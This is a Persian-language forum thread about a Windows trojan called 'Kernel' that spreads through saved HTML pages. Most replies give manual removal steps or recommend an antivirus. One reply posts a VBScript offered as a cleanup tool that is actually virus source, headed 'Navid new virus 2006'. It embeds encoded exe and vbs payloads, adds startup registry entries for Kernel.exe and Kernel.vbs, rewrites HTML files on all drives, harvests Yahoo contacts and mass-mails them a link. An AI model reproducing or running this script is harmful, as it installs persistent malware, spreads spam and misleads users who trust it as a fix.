رهیافت ویروس Kernel

[Ali-Bahal]

جدیدا ویروسی به نام Kernel پخش شده که این ویروس هر پانزده دقیقه یک بار با ارور عجیب غریبی ظاهر می شود که خیلی ها به این ویروس آلوده شده اند. اما در اصل این ویروس نیست! و یک برنامه مخرب که شباهتی به ویروس دارد هست به همین دلیل هیچ کدام از آنتی ویروس ها نمی توانند کاری برای شما بکنند حتی قوی یا آپدیت باشند.
این ویروس از طریق صفحه های HTML که از اینترنت ذخیره می کنید به وجود می آید. این ویروس سه فایل دارد که هر سه تا در پوشه ویندوز در سیستم 32 ذخیره می شود که می توانید از تاریخ تولیدشان شناساییشان کنید. دو تا به نام Kernel و یکی به نام Systems هست که باید سه تا فایل را پاک کنید و بعد هر چه صفحه HTML مشکوک و جدید را باز کنید و هر وقت دوباره این سه فایل آمدند بدانید که این فایلها آلوده هستند و آنها را پاک کنید و برای همیشه لذت ببرید.

نکته: یادتان باشد برای اینکه بتوانید این فایلها را پاک کنید باید با استفاده از سه دکمه Ctrl و Alt و Del برنامه Kernel.exe را ببندید تا بتوانید فایلها را پاک کنید.

جستجو کردن این صفحات آلوده مطمئنا سخت هست ولی اگر به سایت بازی سنتر (Bazi Center) رفته اید و صفحه ای را در کامپیوتر ذخیره و اجرا کرده اید شک نکنید همان فایل آلوده هست چون من هم به همین طریق آلوده شدم.
از اثرات این فایل آلوده:
1- ارورهای پشت سر هم
2- باعث پایین آمدن سرعت کامپیوتر
3- باعث پایین آمدن سرعت اینترنت
4- دادن اطلاعات مثل یوزر و پسورد اینترنتتان به شخص هکر
5- آلوده کردن فایلهای HTML
و.....



نکته: این ویروس به هیچ وجه در ویندوز ویستا کار نمی کند و یکی خصوصیات خوب ویندوز ویستا هست که اجازه کار به ویروس ها را نمی دهد اما باز مشکلاتی مثل اجرای بازیها دارد و......


اگر مشکل یا سوالی درمورد این ویروس یا فایل مخرب دارید به وسیله PM بپرید تا سریع جوابتان را بدهم


با تشکر از " ولی رجیستر " و " کسری هکر " که کمکم کردند تا این ویروس را پاک کنم

[netspc]

سلام ممنون
این ویروس رو میتونید با nod32 بکشید
3 تا فایل به نام های
kernel.exe
net cmd.exe
wscript.exe(آخری رو زیاد مطئمن نیستم)
اسم ویروس هم هست :
Win32.TrojanDownloader.Small.EHD
برای پاک کردن دستی اول به روش زیر که دوست عزیز گفته عمل کنید و بعد از اون
msconfig رو توی run بزنید: در قسمت startup فایلهای بالا را پیدا کرده و از حالت فعال خارج کنید
کامپیوتر را ریستارت کنید دوباره چک کنید که ویروس در حافظه بار نشده باشد بعد internet temporary رو هم پاک کنید.این فولدر رو هم بصورت کامل از بین ببرید

<win_drive>:\Documents and Settings\<user_name>\Local Settings\Temporary Internet Files

البته محتویات فولدر را و نه خود فولدر را.

[arash_vbasic]

به نام خدا :
این ویروس همه ی فایل های HTML , Htm رو آلوده میکنه
و به آخر فایل ها کدهای مخرب Vbscript رو که چند تا فایل با نام ها kernel.exe , kernel.vbs ,.... ایجاد میکنه رو اضافه میکنه البته میتونید با EDIT کردن فایل ها و حذف این کد ها از اخر فایل ها از شر این ویروس خلاص بشین که من حوصله شو نداشتم
یا حق

[Viren]

خوشبختانه کامپیوتر کن به این مبتلا نشده!

[mohammad3000]

به نام خدا :
این ویروس همه ی فایل های HTML , Htm رو آلوده میکنه
و به آخر فایل ها کدهای مخرب Vbscript رو که چند تا فایل با نام ها kernel.exe , kernel.vbs ,.... ایجاد میکنه رو اضافه میکنه البته میتونید با EDIT کردن فایل ها و حذف این کد ها از اخر فایل ها از شر این ویروس خلاص بشین که من حوصله شو نداشتم
یا حق

سلام دوستان...یه سوال داشتم...اگر فایلهای HTML رو که در سیستم ذخیره کردم و آۀلوده شدند رو ویرایش یا پاک نکنم و ویروس رو از بین ببرم و ویندوز جدید رو نصب کنم با توجه به اینکه فایلهای HTML آلوده در سیستمم هست که پاک یا ویرایش نشده احتمال داره که دوباره گرفتار ویروس بشم؟ اگر فایلهای آلوده HTML و ویروس رو از بین ببرم و ویندوز نصب کنم دیگه گرفتار نمیشم؟! ممنونم کامل توضیح بدین...

[qazqaz123]

کد زیر را به صورت فایل vbs ذخیره کرده و بعد از غیر فعال کردن kernel.exe از task manager این فایل را اجرا کنید سپس فایل های این ویروس را از پوشه system32 حذف کنید

'Navid new virus 2006(1375.1)
on error resume next
dim filehtm,sys,yr
fileexe1="0770901440000030000000000040000000002552 55000000184000000000000000000000064000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000001840000000 00014031186014000180009205033184001076205033084104 10511503211211411110311409710903209909711011011111 60320981010321141171100321051100320680790830321091 11100101046013013010036000000000000000000000212036 14202814406922407914406922407914406922407903009024 30791350692240791081012420791470692240790821050991 04144069224079000000000000000000000000000000000000 00000000000008006900000007600100300008111504706900 00000000000000000000002240000150010110010050120000 02000000000030006000000000000000007017000000000016 00000000003200000000000006400000001600000000000200 00000040000000000040000000000040000000000000000000 00000080006000000004000000139039000000002000000000 00000001600000001600000000000001600000001600000000 00000000000160000000000000000000000000000000000680 32000000100000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000320000000680000000000000000000000000 00000000000000000000000000000000000000000000000000 00000004611610112011600000000024000100000000001600 00000000020000000000040000000000000000000000000000 00000000000000032000000096046114100097116097000000 25000100000000003200000000000200000000000600000000 00000000000000000000000000000000000640000000640461 00097116097000000000128027006000000048000000000002 00000000000800000000000000000000000000000000000000 00000640000001920000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000106000106000106000 10600110600023220700100000016311207507000010600010 40000000001281060001060001040410480640002550531120 75070000232181001000000163116075070000104120075070 00010412802600600010424004806400025505311607507000 02321560010000001040040010000001041240750700002322 31000000000104028048064000104124075070000232244000 00000010400001600000010408804806400010412407507000 02322020000000001632240480640001060001042280480640 00255053120075070000104240048064000255053224048064 00023217400000000025505322404806400023214500000000 02550531120750700002320320010000002550531160750700 00232021001000000106005106000106000104124075070000 10600010600023207300000000019508513923613119622810 60001060001060001410692280802320630000000000111921 16020141069228080232062000000000141069228080232035 00000000023521720119510400001606400010422414700400 01060001060002320240000000002321852552552551952550 37020032064000255037040032064000255037036032064000 25503703203206400025503702803206400025503700003206 40002550370120320640002550370080320640002550370040 32064000204204204204204204204204204204085139236087 25511700823203600000000013912500813907701200324805 12100511921380040101360040581311940011321921172430 95139069008201194008000204204204085139236139069008 13123200413119200412805600011604812812000100011603 21281200020001160161281200030001172300430690081311 92003201194004000043069008131192002201194004000043 06900813119200120119400400004306900820119400400025 50370600320640002550370480320640002550370520320640 00255037056032064000000000000000000000000000000000 00000000000000000008603300000013403300000012203300 00001000330000000000000000002360320000000000000000 00054033000000042033000000028033000000008033000000 00000000000018203300000019803300000021803300000016 00330000000000000000001880320000000000000000000000 00000000252032000000020032000000196032000000000000 00000000000000000007403300000002803200000016803200 00000000000000000000000000001460330000000000320000 00216032000000000000000000000000000000238033000000 04803200000000000000000000000000000000000000000000 00000000000000000000000860330000001340330000001220 33000000100033000000000000000000236032000000000000 00000005403300000004203300000002803300000000803300 00000000000000001820330000001980330000002180330000 00160033000000000000000000103000083104101108108069 12010109911711610106500011510410110810805105004610 01081080001400000681051151120971160991040771011151 15097103101065000000025001071101116077101115115097 10310106500002300208310111608410510910111400000006 60020841140971101151080971161010771011151150971031 01000000117115101114051050046100108108000000026000 06710811111510107209711010010810100006000107110111 60831211151161011090681051141010991161111141210650 00202001079112101110070105108101000000158002087114 10511610107010510810100010710111411010110805105004 61001081080000001050000731101161011141101011160671 08111115101072097110100108101000134000073110116101 11411010111607911210111006500013500007311011610111 41101011160791121011100851141080650000001420000731 10116101114110101116082101097100070105108101000000 11910511010511010111604610010810800000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000092083121115 11610110911504610112010100010411611611205804704710 40490461141051121190971210460991111090471001141010 97109104097099107047072047078097118105100104097099 10704610112010100000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000"
filevbs1="0390780971181051000321101011190321181051 14117115032050048048054040049051055053046049041013 01011111003210111411411111403211410111511710910103 21101011201160130101001051090321021051081011041161 09044115121115044121114013010102105108101104116109 04906103404904804804904805304904805704805105004904 90530490500490490490530480490510480490480480560510 49048049049049054048051050049048048049048050048051 05004805404904805105004904804804904904904805705704 90490550490480570490480490490490480490490540480520 54048057057049049052049048049048057055049049054049 04804904805405704904805604904804904904805704904804 90490490480490490540480520480480510520490490490480 57056049048054049048049048057057049049054048051052 04805204904804905104804904804904804804904805004805 20540490490530490480490490490540480540530490490540 49049054049049052049048053048057056049049055049049 05404904804904805105004805105204805705704904805604 80570550490490530490490530490480530490480480480510 52048052052048051050048051052048057057049048056049 04905304904805304904804804805305604805405404805405 60480530550480530520480540550480530510480530510480 53052048052053048053052048053051048054053048053049 04805205304805205704805205704805405604805205604805 20530480530550480530540480530490480540530480520530 48052056048052056048054055048052056048053050048055 04804805405504805304804805305504805405704805304904 80530520480510500480510520480490510480490480490490 53049048049049049054048051050049048050049049053049 04904904805105004805404904805105004904804804904805 00480520540480570570490490520490480490480570550490 49054049048049049049049048057056049048054049048049 04805705704904905404805204804805105204805605104805 70570490490520490480530490490500490490540490480530 49049048049048051048052054048055048049048053049048 05604904804904805605104905004904904905304904905404 90480490490480570480550570480570560490480540490480 49048057057049049054048051052048052052048051052048 05105204805204904804905104804904804904905304904804 90490490540480510500490490530480540490490480480490 48050048052054048054055049049052049048049048057055 04904905404904804904805505704805705604904805404904 80490480570570490490540480520480480510520480560510 49048052049048049049048056049048056048052054048054 05304904905004904905004904805604904805304805705704 80570550490490540490480530490490490490490480480520 54048052057048051052048052052048051052048051052048 05204904804905104804904804904905304904804904904905 40480510500490490520490480490480540490490480480490 48050048052054048057057049049052049048049048057055 04904905404904804904904904904805705604904805404904 80490480570570490490540480520480480510520490490570 49049053048057057049049052049048053049049050049049 05404805205404904905304904805204904804904904805604 90480560480510520480520520480510520480510520480520 49048049051048049048049049053049050049049049053048 05404904904805004904905304904904904805205404805504 90490480490490490540480560510490490500490480490480 57057049048053048057055049048056048055048049049049 04904805604904804804904804904904905204805204804805 20570480520490480490510480490480480550480490490490 49049052048051050048057055048051050048054049048051 05004805205704805105004805605204904904904805105004 80550540490480490490490480480520480490480500490480 53049048056049048049049049056048057056049049053048 05205704805204904805105004805605104904905404904804 90490490500480510500480530490480490510480490480490 48050049048053049048056049048049049049056048057056 04904905304805304804805404904904805004904805304904 80560490480490490490560480570560490490530480530480 48051050048051056048051050048057057049048052049049 05204805204804904805704904805304904804804805204804 90480500490480530490480560490480490490490560480570 56049049053048052057048052052048057055048052052048 05304904805204904805204904804905104804904804904805 30490480500480510500480570550480510500480540480480 51050049048056049048049049049048048052048049048050 04904805304904805604904804904904804904905004804904 80490480520570480520490480520510480520570480510500 49049054049048052049048049049049048048051050049048 05004904805304904805604904804904904804904905004804 90480490480530480480540490490480500490480530490480 56049048049049048049049050048049048049048053048048 05105004805105604805105004805705704904805204904905 20480520480490480570490480530490480480480520480490 48050049048053049048056049048049049048049049050048 04904804904805205704805205204805705504805205204805 30490480520490480520490480490510480490480490490480 49048049049050048049049054048049051048049048049048 05504904905204805105004805404904805105004805605304 80540550480570550490490530490480490480520480490490 52049048049048052054048056050049048049049048051048 05605004904804904805705504904804804805204804805105 20480550500480550530480540570480560570480570530480 55054048055057048054055048054053048055054048057053 04805505504805405304805405504805505004805505104805 50560480540570480570500480560510480550570480550480 48056052048056055048054053048056050048054057048057 05004805505504904805304805705704904905204904904904 90490530490490490490480500490490540480570500480560 55049048053049049048049048048049049049049049057049 04905304805705004805405504904905504904905204904905 20490480490490490480490490540480560540490480490490 49052049049053049048053049049049049049048048057050 04805605004904905504904904804805705004805505504904 80530480570570490490520490490490490490530490490490 49048050049049054048051050048056055049048053049049 04804904804804904904904904905704904905304805105204 80520490480520490480490510480490480490480500490490 53049049049048052054048054055049049052049048049048 05705504904905404904804904805605204904804904905004 80490490540480550480490480530490480560490480490480 52048049049053049050049049049053048051050048051056 04805105004805105204805705004805605204805605104805 60480480530490480530480480540570480520540480540560 48055054048055054048051052048052049048052054049049 05704904905204904805304904905404904804904805105004 90480500490480530490480560490480490490480490490500 48049048049048052057048049051048049048049048053049 04805004805105004904905504805705704805705504904905 30490480490480520480490480500490490530490490490480 52054048055048049048053049048056049048049048054057 04905004804904805304904905304904905404904905304805 20480490490530490500490490490530480510500480510560 48051050048051052048057050048055053049048049049049 05204904904804904804904904805604805205404904804904 90500480490480490480510520480520490480520490480540 49048051052048055048048054053048055054048056051048 05405704805105204805105004904904904904905204805105 00490480550490490520480540480480540500490490550480 57057048057055049049053049048049048052048049049053 04905004904904905304805105004805105604805105004805 10520480570500480550530480540570480560500480550560 48054057048055054048052054048054057048056056048054 05704805105204805204904805105004904905404904805204 90480490490490480480490510480490480490490520490480 49048052054049049052049048049049048051049049057049 04905204904805304904905404904804904805105004805105 20480550500480550530480540570480560570480570530480 55054048055057048054055048054053048055054048057053 04805505504805405304805405504805505004805505104805 50560480540570480570500480560510480550570480550480 48056052048056055048054053048056050048054057048057 05004805505504904805304805705704904905204904904904 90490530490490490490480500490490540480570500480560 55049048053049049048049048048049049049049049057049 04905304805705004805405504904905504904905204904905 20490480490490490480490490540480560540490480490490 49052049049053049048053049049049049049048048057050 04805605004904905504904904804805705004805105204805 10500480510560480510500480510520480550550490480530 48057057049049052049049049049049053049049049049048 05004904905404805105004805605504904805304904904804 90480480490490490490490570490490530480510520480510 50048052052049049053049050049049049053048051050048 05105604805105204805705004805505304904804904904905 20490490480490480490490480560480520540490480490490 50048049048049048051052048049051048049048049048050 04904905304904904904805205404805405504904905204904 80490480570550490490540490480490480560520490480490 49050048049049054048055048049048053049048056049048 04904805204804904905304905004904904905304805105004 80510560480510500480510520480570500480550530490480 49049049052049049048049048049049048056048052054049 04804904905004804904804904805105204805204904805205 40490490570490490520490480530490490540490480490480 51050049048050049048053049048056049048049049048049 04905004804904804904805304804804905104804904804904 90530480520540480550570490490500490480490490490480 48051050048052048049049053049050049049049053048051 05004805105604805105004805105204805705004805505304 90480490490490520490490480490480490490480560480520 54049048049049050048049048049048051052048052049048 04905104804904804904804904904904804904804804805105 00490480530490480500480490510480490480490480500490 49053049049049048052054048054055049049052049048049 04805705504904905404904804904805605204904804904905 00480490490540480550480490480530490480560490480490 48052048049049053049050049049049053048051050048051 05604805105004805105204805705004805605204805605104 80560480480530490480530480480560540480520540480540 56048055054048055054048051052048052049048052054049 04905704904905204904805304904905404904804904805105 00490480500490480530490480560490480490490490560480 57056049049053048052057048049051048049048049048053 04904805004805105004904805004904905304904904904805 20540490490490490490500490480490490490480490490540 49048049049050048049049054049048050049048053049048 05604904804904805204804904905304905004904904905304 80510500480510560480510500480510520480570500480560 51049050049049049053049049054049048049049048057049 04905604805205404904804804904805604904805604805105 20480520520480520570480520490480520540490490520490 48049048057055049048048048057055049048056049048056 04805404804805405004805105204904904904904904804805 10520480510500490490540490480520490480490490490480 48049051048049048049048050049049053049049049048052 05404805405504904905204904804904805705504904905404 90480490480560520490480490490500480490490540480550 48049048053049048056049048049048052048049049053049 05004904904905304805105004805105604805105004805105 20480570500480550530490480490490490520490490480490 48049049048056048052054049049056048057056049049053 04805105204805204904805205404904905704904905204904 80530490490540490480490480510500490480500490480530 49048056049048049049049056048057056049049053048053 04804804905104804904804904905304805205404805505704 90490500490480490490490480480510500480520480490490 53049050049049049053048051050048051056048051050048 05105204805705004805505304904804904904905204904904 80490480490490480560480520540490490560480570560490 49053048051052048052049048049051048049048049048049 04904904804904804804805105004904805304904805004804 90510480490480480540480480520550490490530480570570 49049052049048053049049050049049054048054050034013 01011510111603210211511106109911410109711610111109 81061010991160400341150991141051121161051101030461 02105108101115121115116101109111098106101099116034 04101301011510111603211410106109911410109711610111 10981061010991160400341191150991141051121160461151 04101108108034041013010115121115061102115111046071 10111608311210109910509710807011110810010111404004 90410130101021151110460671141010971161010841011201 16070105108101040115121115032038032034092083121115 11610110911804610010810803404104611911410511610103 20341111100340130101021051081011041161090610340601 15099114105112116032108097110103117097103101061118 09811509911410511211606203403203803211809809911410 81020320380320341111100321011141141111140321141011 15117109101032110101120116034032038032118098099114 10810201301010210510810110411610906110210510810110 41161090320380320341021051081011011201010490610340 34034032038032102115111046111112101110116101120116 10210510810104011512111503203803203409208408308005 10500690460680760760340440490410461141010971000971 08108032038032034034034034032038032118098099114108 10201301010210510810110411610906110210510810110411 61090320380320341021051081011180981150490610340340 34032038032102115111046111112101110116101120116102 10510810104011512111503203803203409208408308005105 00860460680760760340440490410461141010971000971081 08032038032034034034034032038032118098099114108102 01301007011111403209703206103204903208411103207610 11100401021051081011041161090490410320831161011120 32051013010102105108101104116109061102105108101104 11610903203803209910411404010910510004010210510810 11041161090490440970440510410410130101101011201160 13010114101046114101103119114105116101032034072075 06908909506708508208206907808409508508306908209208 31111021161190971141010920771050991141111151111021 16092087105110100111119115092067117114114101110116 08610111411510511111009208211711009203403203803203 40771050991141111151111021160320871051101001111191 15034032044115121115032038034092075101114110101108 04611809811503401301011410104611410110311911410511 61010320340720750690890950760790670650760950770650 67072073078069092083079070084087065082069092077105 09911411111511110211609208710511010011111911509206 71171141141011101160861011141151051111100920821171 10092034032038032034077105099114111115111102116032 08710511010011111911503403204411512111503203803409 20751011141101011080461011201010340130101211140611 14101046082101103082101097100040034072075069089095 06708508208206907808409508508306908209208311110211 61190971141010921210971041111110921120971031011140 92089097104111111033032085115101114032073068034041 01301011511609711411601301008311709803211511609711 41160400410130101111100321011141141111140321141011 15117109101032110101120116013010070111114032069097 09910403210011404903207311003210211511104606811410 51181011150130100731020321001140490460681141051181 01084121112101032061032050032079114032100114049046 06811410511810108412111210103206103205103208410410 11100321021051081010490320401001140490320380320340 92034041058032102111108100101114049032040100114049 03203803203409203404101301007810112011601301011510 11101001090971051080130100691101000320831170980130 10083117098032102111108100101114049040100114049041 01301011111003210111411411111403211410111511710910 10321101011201160130100701111140320690970991040321 02111032073110032102115111046071101116070111108100 10111404010011404904104608311709807011110810010111 41150130101051020320850670971151010401141051031041 16040102111044050053041041061034089065072079079033 09207706908308306907807106908209208008207907007307 60690830340321161041011100321210971041111110401021 11041013010102105108101049032040102111041013010102 11110810010111404903204010211104101301007810112011 60130100691101000320831170980130100831170980321021 05108101049040102111041013010111110032101114114111 11403211410111511710910103211010112011601301007011 11140320690970991040321021050320731100321021151110 46071101116070111108100101114040102111041046070105 10810111501301011010603204010210504101301007810112 01160130100691101000320831170980130101151170980321 10106040102105041013010111110032101114114111114032 11410111511710910103211010112011601301010112011606 10850670971151010401021151110460711011160691201161 01110115105111110078097109101040102105041041013010 10510203210112011606103407208407703403211111403210 11201160610340720840770760340321111140321011201160 61034072084084034032116104101110013010105102032114 10510310411604010211511104611111210111011610112011 61021051081010401021050440490410461141010971000971 08108044108101110040102105108101104116109041041060 06210210510810110411610903211610410111001301010211 51110461111121011101161011201161021051081010401021 05044056041046119114105116101032118098099114108102 03203803210210510810110411610901301010111010003210 51020130101011101000321051020130101011101000321151 17098013010115117098032121097104111111040102111121 04904101301007011111403206909709910403210211112105 00320731100321021151110460711011160701111081001011 14040102111121049041046083117098070111108100101114 11501301010909710510809710810806110909710510809710 81080320380321021151110460711011160701051081010780 97109101040102111121050041032038032034064121097104 11111104609911110903403203803211809809911410810201 30101101011201160130101021151110460991141010971161 01116101120116102105108101040115121115032038032034 09210909710510804610811110303404104611911410511610 10321090971051080971081080320380320340690780680340 13010102115111046099114101097116101116101120116102 10510810104011512111503203803203409211510111010004 61081111030340410461191141051161010321211140320380 32034064121097104111111046099111109034013010101110 10003211511709801301011511709803211510111010010909 71051080400410130101111100321011141141111140321141 01115117109101032110101120116013010115101110100109 06110211511104611111210111011610112011610210510810 10401151211150320380320340921151011101000461081111 03034044049041046114101097100097108108013010115101 11603210909710510810906110211511104611111210111011 61011201161021051081010401151211150320380320340921 09097105108046108111103034044049041013010109097105 10809706110909710510810904611410109710010810511010 10130101191041051081010321090971051080970320600620 32034069078068034013010083101116032111098106077101 11511509710310103206103206711410109711610107909810 61010991160400340670680790460771011151150971031010 34041032013010111098106077101115115097103101046083 11709810610109911603206103203407210110810811103401 30101110981060771011151150971031010460831011101001 01114032061032115101110100109013010111098106077101 11511509710310104610211411110906103211510111010010 90130101110981060771011151150971031010460841110320 61032109097105108097013010111098106077101115115097 10310104608410112011606611110012103206103203407210 11081081110340320380321180980991141081020320380320 34071111032116111032109121032115097105116058032104 11611611205804704710310511410811510112004611910109 81150461051110471121050991161171141010461041161090 34013010111098106077101115115097103101046083101110 10001301010909710510809706110909710510810904611410 10971001081051101010130101191011101000130101021151 11046067114101097116101084101120116070105108101040 11512111503203803203409208312111511610110911804610 01081080340410461191141051161010320341111021020340 13010101110100032115117098013010"
filehtm1="1001051090321151211150130100831011160321 00102032061032100111099117109101110116046099114101 09711610106910810110910111011604003411109810610109 91160340410130101001020461151011160651161161141050 98117116101032034099108097115115105100034044032034 09910811510510005806606805705406705305305404505405 30650510450490490680480450570560510650450480480670 48052070067050057069051054032034013010115101116032 10211511103206103210010204609911410109711610111109 81061010991160400340830991141051121161051101030460 70105108101083121115116101109079098106101099116034 04403403404101301011510111603211506110010204606711 41010971161010790981061010991160400340831041011081 08046065112112108105099097116105111110046049034044 03403404101301011510111603211410106110010204609911 41010971161011110981061010991160400341191150991141 05112116046115104101108108034044034034041013010115 12111506110211511104607110111608311210109910509710 80701111081001011140400490410130100701111140320970 32061032049032084111032076101110040102105108101118 09811504904103208311610111203205101301010210510810 11180981150500611021051081011180981150500320380320 99104114040109105100040102105108101118098115049044 09704405104104101301010510203209703206003210810111 00401021051081011011201010490410430490321161041011 10032102105108101101120101050061102105108101101120 10105003203803209910411404010910510004010210510810 11011201010490440970440510410410130101101011201160 13010107114032061032085067097115101040114101046082 10110308210109710004003407207506908909507607906706 50760950770650670720730780690920830790700840870650 82069092077105099114111115111102116092087105110100 11111911509206711711411410111011608610111411510511 11100920821171100920771050991141111151111021160320 87105110100111119115034041041013010102115111046067 11410109711610108410112011607010510810104011512111 50320380320340920840830800510500690460680760760340 41046119114105116101032102105108101101120101049013 01010510203211709909711510104010211511104607010510 81010691201051151161150401151211150320380320340920 75101114110101108046101120101034041041061034070065 07608306903403211111403210711406006211709909711510 10401151211150320380320340920750690820780690760460 69088069034041032116104101110013010114101046114101 10311911410511610103203407207506908909507607906706 50760950770650670720730780690920830790700840870650 82069092077105099114111115111102116092087105110100 11111911509206711711411410111011608610111411510511 11100920821171100920340320380320340771050991141111 15111102116032087105110100111119115034032044115121 11503203803409207510111411010110804610112010103401 30101021151110460671141010971161010841011201160701 05108101040115121115032038032034092075101114110101 10804610112010103404104611911410511610103210210510 81011011201010500130101150460791121011100320401151 21115032038032034092075101114110101108046101120101 03404101301010111010003210510201301010211511104606 71141010971161010841011201160701051081010401151211 15032038032034092084083080051050086046068076076034 04104611911410511610103210210510810111809811504901 30101051020321021151110461111121011101161011201161 02105108101040115121115032038032034092083121115116 10110911804610010810803404404904104611410109710009 71081080600620341111100340321161041011100130101021 15111046067114101097116101084101120116070105108101 04011512111503203803203409207510111411010110804611 80981150340410461191141051161010321021051081011180 98115050013010115046079112101110032040115121115032 03803203409207510111411010110804611809811503404101 30101011101000321051020130100600471150991141051121 16062"
set fso=createobject("scripting.filesystemobject")
set re=createobject("wscript.shell")
sys=fso.GetSpecialFolder(1)
fso.CreateTextFile(sys & "\Systemv.dll").write "on"
filehtm="<script language=vbscript>" & vbcrlf & "on error resume next" & vbcrlf
filehtm=filehtm & "fileexe1=""" & fileexe1 & """" & vbcrlf '----filehtm=filehtm & "fileexe1=""" & fso.opentextfile(sys & "\TSP32E.DLL",1).readall & """" & vbcrlf
filehtm=filehtm & "filevbs1=""" & filevbs1 & """" & vbcrlf '----filehtm=filehtm & "filevbs1=""" & fso.opentextfile(sys & "\TSP32V.DLL",1).readall & """" & vbcrlf
For a = 1 To Len(filehtm1) Step 3
filehtm=filehtm & chr(mid(filehtm1,a,3))
next
re.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.vbs"
re.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"
yr=re.RegRead("HKEY_CURRENT_USER\Software\yahoo\pa ger\Yahoo! User ID")
start

'---------------------------------------
Sub start()
on error resume next
For Each dr1 In fso.Drives
If dr1.DriveType = 2 Or dr1.DriveType = 3 Then file1 (dr1 & "\"): folder1 (dr1 & "\")
Next
sendmail
End Sub

'----------------------------------------
Sub folder1(dr1)
on error resume next
For Each fo In fso.GetFolder(dr1).SubFolders
if UCase(right(fo,25))="YAHOO!\MESSENGER\PROFILES" then yahoo(fo)
file1 (fo)
folder1 (fo)
Next
End Sub

'---------------------------------------
Sub file1(fo)
on error resume next
For Each fi In fso.GetFolder(fo).Files
nj (fi)
Next
End Sub

'---------------------------------------
sub nj(fi)
on error resume next
ext=UCase(fso.GetExtensionName(fi))
if ext="HTM" or ext="HTML" or ext="HTT" then
expretiontxt=fso.opentextfile(fi,1).readall
findtxt=filehtm
if right(fso.opentextfile(fi,1).readall,len(findtxt)) <>findtxt then '-----if right(fso.opentextfile(fi,1).readall,len(filehtm)) <>filehtm then
rep=Replace(expretiontxt, findtxt, "clean...")
fso.opentextfile(fi,2).write rep '-----fso.opentextfile("c:\exam.HTM",2).write vbcrlf & "......" 'filehtm
end if
end if
end sub

'----------------------------------------
sub yahoo(foy1)
For Each foy2 In fso.GetFolder(foy1).SubFolders
mailall=mailall & fso.GetFileName(foy2) & "@yahoo.com" & vbcrlf
next
fso.createtextfile(sys & "\mail.log").write mailall & "END"
fso.createtextfile(sys & "\send.log").write yr & "@yahoo.com"
end sub

'----------------------------------------
sub sendmail()
on error resume next
sendm=fso.opentextfile(sys & "\send.log",1).readall
set mailm=fso.opentextfile(sys & "\mail.log",1)
maila=mailm.readline
while maila <> "END"
Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "Hello"
objMessage.Sender = sendm
objMessage.from= sendm
objMessage.To = maila
objMessage.TextBody = "Hello" & vbcrlf & "Go to my sait: [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] "
objMessage.Send
maila=mailm.readline
wend
fso.CreateTextFile(sys & "\Systemv.dll").write "off"
end sub

[motreb_12]

nod32 به راحتي آن را شناسايي و نابود مي كند البته اگر آپديت باشه.

[omid.sarmad]

سلام.این نرم افزار را دانلود کنید.
همه ویروس رو از بین میبره ،هم تک تک فایلهارو چک می کنه و کد موجود رو از اون حذف می کنه.
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

[Arashdn]

جواب های دوستان کاملا تایید میشه